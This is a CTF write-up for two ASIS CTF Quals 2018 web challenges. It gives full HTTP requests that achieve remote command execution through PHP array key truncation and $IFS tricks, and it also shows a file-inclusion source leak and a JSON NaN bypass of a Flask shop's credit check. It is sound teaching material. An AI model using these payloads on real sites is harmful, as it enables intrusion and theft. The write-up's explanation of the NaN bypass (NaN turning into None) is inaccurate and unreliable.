ASIS CTF Quals 2018 - Write-ups

Information#

Version#

By Version Comment
noraj 1.0 Creation

CTF#

  • Name : ASIS CTF Quals 2018
  • Website : asisctf.com
  • Type : Online
  • Format : Jeopardy
  • CTF Time : link

Nice code - Web#

Beautify php code! Here

Note: We solved this challenge thanks to a great teamwork: Aikari, k3y, lstdiraf and noraj.

Preliminary step#

There is a button pointing to http://167.99.36.112:8080/admin/.

This page returns the following message:

substr($URL, -10) !== '/index.php'

So the 10 last chars of the URL need to be /index.php, let's try this: http://167.99.36.112:8080/admin/index.php

$URL == '/admin/index.php'

But the following payload http://167.99.36.112:8080/admin//index.php is returning only //.

I thought it was a good idea to try http://167.99.36.112:8080/admin/index.php/index.php then:

Ok,ok...<br><center style="font-size:36px;"><a href="../../../another/index.php?source">Click here</a></center>

The true challenge#

This time we have access to the source code of the real challenge http://167.99.36.112:8080/another/index.php?source

<?php
include('oshit.php');
$g_s = ['admin','oloco'];
$__ni = $_POST['b'];
$_p = 1;
if(isset($_GET['source'])){
    highlight_file(__FILE__);
        exit;
}
if($__ni === $g_s & $__ni[0] != 'admin'){
    $__dgi = $_GET['x'];
    $__dfi = $_GET;
    foreach($__dfi as $_k_o => $_v){
        if($_k_o == $k_Jk){
            $f = 1;
        }
        if($f && strlen($__dgi)>17 && $_p == 3){
            $k_Jk($_v,$_k_o); //my shell :)
        }
        $_p++;
    }
}else{    
    echo "noob!";
}

I noted the following HTTP headers:

Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.14

It's important to keep in mind the challenge is using an old version of PHP.

Matching the first part of the condition is really easy, we just have to send b[]=admin&b[]=oloco or b[0]=admin&b[1]=oloco in a POST request.

But the problem is the second part of the condition $__ni[0] != 'admin' because there is a strict equality $_POST['b'] === ['admin','oloco'] and a loose comparison $_POST['b'][0] != admin.

This sounds pretty impossible to bypass even if the second part of the if statement uses a loose comparison.

In PHP === between arrays means same values of same types and in the same order.

This was where lstdiraf found a video: Vlog #003: old PHP and array===array.

The associated PHP issue ticket is: Bug #69892 Different arrays compare identical due to integer key truncation.

The problem comes from an integer overflow, the array index is an integer that needs to fit into a 32bits variable so any integer larger than 2^32 - 1 will be truncated. 2^32 = 4294967296 will be truncated to 0 so.

Then we can provide the following valid payload b[4294967296]=admin&b[1]=oloco into a POST request.

We still need to match a bunch of other conditions to get the author shell:

$__dgi = $_GET['x'];
$__dfi = $_GET;
foreach($__dfi as $_k_o => $_v){
    if($_k_o == $k_Jk){
        $f = 1;
    }
    if($f && strlen($__dgi)>17 && $_p == 3){
        $k_Jk($_v,$_k_o); //my shell :)
    }
    $_p++;

There is a foreach loop reviewing all GET arguments we provided.

First and easy one, we need to provide a x parameter ($__dgi = $_GET['x'];) with an argument longer than 17 chars (strlen($__dgi)>17). Example of payload: x=azertyuiopqsdfghjklmwxcvbn.

$_p == 3 indicates that the payload will be included in the 3rd parameter.

The second is useless but we can use it to match $_k_o == $k_Jk and so have a full liberty over the 3rd argument.

As $k_Jk is used like that $k_Jk($_v,$_k_o); we can deduce that the variable is stocking an anonymous function, we don't know which one because it is declared in oshit.php.

So to bypass if($_k_o == $k_Jk) we can use a type juggling. Example of payload: 0=dontcare.

Then we can focus on the 3rd param to get an RCE.

In $k_Jk($_v,$_k_o), $_v will be the system command to be executed and $_k_o the PHP function that will lead to command execution.

So to sum up all payload we have:

POST /another/index.php?x=azertyuiopqsdfghjklmwxcvbn&0=dontcare&ls=system HTTP/1.1
Host: 167.99.36.112:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 30
Content-Type: application/x-www-form-urlencoded

b[4294967296]=admin&b[1]=oloco

Resulting into:

app
bin
boot
create_mysql_admin_user.sh
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
run.sh
sbin
srv
start-apache2.sh
start-mysqld.sh
sys
tmp
usr
var

Now that we have a way to execute some system commands we can try a few things.

With id we have uid=33(www-data) gid=33(www-data) groups=33(www-data), so we can confirm that we are using the apache account that is in the apache group.

We quickly checked env to see if there is interesting stuff but there isn't, we only know we must be jailed in a restricted shell:

PHP_UPLOAD_MAX_FILESIZE=10M
SUPERVISOR_GROUP_NAME=apache2
HOSTNAME=b7d4cc57fa85
SHLVL=0
APACHE_RUN_DIR=/var/run/apache2
APACHE_PID_FILE=/var/run/apache2/apache2.pid
PHP_POST_MAX_SIZE=10M
TERM=xterm
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
APACHE_LOCK_DIR=/var/lock/apache2
LANG=C
SUPERVISOR_ENABLED=1
DEBIAN_FRONTEND=noninteractive
APACHE_RUN_USER=www-data
APACHE_RUN_GROUP=www-data
APACHE_LOG_DIR=/var/log/apache2
SUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sock
SUPERVISOR_PROCESS_NAME=apache2
PWD=/

A problem is that we can't add options to our commands because we can't inject spaces. But Aikari found a solution for that $IFS = so let's go!

Let's try a recursive file listing ls$IFS-lR$IFS/app=passthru:

POST /another/index.php?x=azertyuiopqsdfghjklmwxcvbn&0=dontcare&ls$IFS-lR$IFS/app=passthru HTTP/1.1
Host: 167.99.36.112:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 30
Content-Type: application/x-www-form-urlencoded

b[4294967296]=admin&b[1]=oloco
/app:
total 12
drwxr-xr-x 2 root root 4096 Apr 28 15:55 admin
drwxr-xr-x 2 root root 4096 Apr 28 15:55 another
-rw-r--r-- 1 root root 1182 Apr 28 15:55 index.php

/app/admin:
total 4
-rw-r--r-- 1 root root 863 Apr 28 15:52 index.php

/app/another:
total 8
-rw-r--r-- 1 root root 424 Apr 28 15:52 index.php
-rw-r--r-- 1 root root  45 Apr 28 15:52 oshit.php

We were not able to use cat but head was working.

We checked if the flag was in oshit.php head$IFS-100$IFS/app/another/oshit*:

<?php

$k_Jk = "register_shutdown_function";

Just to be curious, let's try head$IFS-100$IFS/app/admin/index*:

<?php

$URL = $_SERVER['REQUEST_URI'];
$matches = array();
preg_match('/^([a-z\/.]+)$/', $URL, $matches); 
if(strpos($URL, './') !== FALSE){
    exit('./');
}
else if(strpos($URL, '\\') !== FALSE){
    exit('\\');
}
else if(empty($matches) || $matches[1] != $URL){
    exit('empty($matches) || $matches[1] != $URL');
} 
else if(strpos($URL, '//') !== FALSE){
    exit('//');
} 
else if(substr($URL, -10) !== '/index.php'){
    exit('substr($URL, -10) !== \'/index.php\'');
} 
else if(strpos($URL, 'p.') !== FALSE){
    exit('p.');
} 
else if($URL == '/admin/index.php'){
    exit('$URL == \'/admin/index.php\'');
}
else {
    if($URL !== '/admin/index.php'){
  session_start();
        $_SESSION['power'] = 1;
  echo "Ok,ok...<br>";
        exit("<center style=\"font-size:36px;\"><a href=\"../../../another/index.php?source\">Click here</a></center>");
    }
}
?>

By sending &ls$IFS-lA we can see there is a .dockerenv but it's useless.

We tried head$IFS-100$IFS/create_mysql_admin_user* too without success.

Let's do recursive file listing again ls$IFS-lR$IFS/var so we can see there is a /var/flag file.

And finally &head$IFS-10$IFS/var/flag gave us ASIS{f52c5a0cf980887bdac6ccaebac0e8428bfb8b83}.

Buy flags - Web#

Note: we flagged this challenge after the end of the CTF.

Here is an online shop that sells flags :) but we don’t have enough money! Can you buy the flag?

We can see the image is included like that http://46.101.173.61/image?name=asis.png

This sounds familiar, we may have a LFI.

I tried to decode cookie as JWT but that was not that, so I tried with flask-session-cookie-manager to see if it is a flask cookie:

$ python2 ~/CTF/tools/flask-session-cookie-manager/session_cookie_manager.py decode -c 'eyJjb3Vwb25zIjpbXSwiY3JlZGl0IjowfQ.DcaWwQ.5lqoVulqIl4jUY8h6KCmLrYBNZU'
{"coupons":[],"credit":0}

And it is, so now that we know this is a flask app we can try to use the LFI to get the source http://46.101.173.61/image?name=app.py

from flask import Flask, Response, render_template, session, request, jsonify

app = Flask(__name__)
app.secret_key = open('private/secret.txt').read()

flags = {
  'fake1': {
    'price': 125,
    'coupons': ['fL@__g'],
    'data': 'fake1{this_is_a_fake_flag}'
  },
  'fake2': {
    'price': 290,
    'coupons': ['fL@__g'],
    'data': 'fake2{this_is_a_fake_flag}'
  },
  'asis': {
    'price': 110,
    'coupons': [],
    'data': open('private/flag.txt').read()
  }
}

@app.route('/')
def main():
  if session.get('credit') == None:
    session['credit'] = 0
    session['coupons'] = []
  return render_template('index.html', credit = session['credit'])
  #return 'Hello World!<br>Your Credit is {}<br>Used Coupons is {}'.format(session.get('credit'), session.get('coupons'))

@app.route('/image')
def resouce():
  image_name = request.args.get('name')
  if '/' in image_name or '..' in image_name or 'private' in image_name:
    return 'Access Denied'
  return Response(open(image_name).read(), mimetype='image/png')

@app.route('/pay', methods=['POST'])
def pay():
  data = request.get_json()
  card = data['card']
  coupon = data['coupon']
  if coupon.replace('=','') in session.get('coupons'):
    return jsonify({'result': 'the coupon is already used'})
  for flag in card:
    if flag['count'] <= 0:
      return jsonify({'result':'item count must be greater than zero'})
  discount = 0
  for flag in card:
                if coupon.decode('base64').strip() in flags[flag['name']]['coupons']:
      discount += flag['count'] * flags[flag['name']]['price']
  credit = session.get('credit') + discount
  for flag in card:
    credit -= flag['count'] * flags[flag['name']]['price']
  if credit < 0:
    result = {'result': 'your credit not enough'}
  else:
    result = {'result': 'pay success'}
    result_data = []
    for flag in card:
      result_data.append({'flag': flag['name'], 'data': flags[flag['name']]['data']})
    result['data'] = result_data
    session['credit'] = credit
    session['coupons'].append(coupon.replace('=',''))
  return jsonify(result)

if __name__ == '__main__':
  app.run(host='0.0.0.0', port=80)

Our goal is to buy the asis flag but we have no money.

First I thought we had to find the Flask secret_key to be able to forge a valid signed cookie like this {"coupons":[],"credit":9999} that would have been accepted by the server. But the LFI didn't allow us to find anything else and no SSTI seemed available.

But look, the credit check is done like this if credit < 0: and the json data is parsed with request.get_json().

We can try to compare credit with something else than a number like NaN. But NaN is not part of the JSON specs.

I think that the Flask method request.get_json() is calling the python method json.dumps.

However json.dumps has an allow_nan parameter, which defaults to True so we can use NaN.

I think that when the NaN value is passed to python it is converted to None. Let's see python2 behavior:

$ python2
Python 2.7.14 (default, Jan  5 2018, 10:41:29) 
[GCC 7.2.1 20171224] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> None < 0
True

Well so sending the following data:

{
    "card": [
        {
            "count": NaN,
            "name": "asis"
        }
    ],
    "coupon": ""
}

Results into:

{
    "data": [
        {
            "data": "ASIS{th1@n_3xpens1ve_Fl@G}\n",
            "flag": "asis"
        }
    ],
    "result": "pay success"
}

Bonus#

Of course if they were using python3 instead of python2, this couldn't happen:

$ python3
Python 3.6.5 (default, Apr 12 2018, 22:45:43) 
[GCC 7.3.1 20180312] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> None < 0
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: '<' not supported between instances of 'NoneType' and 'int'
Share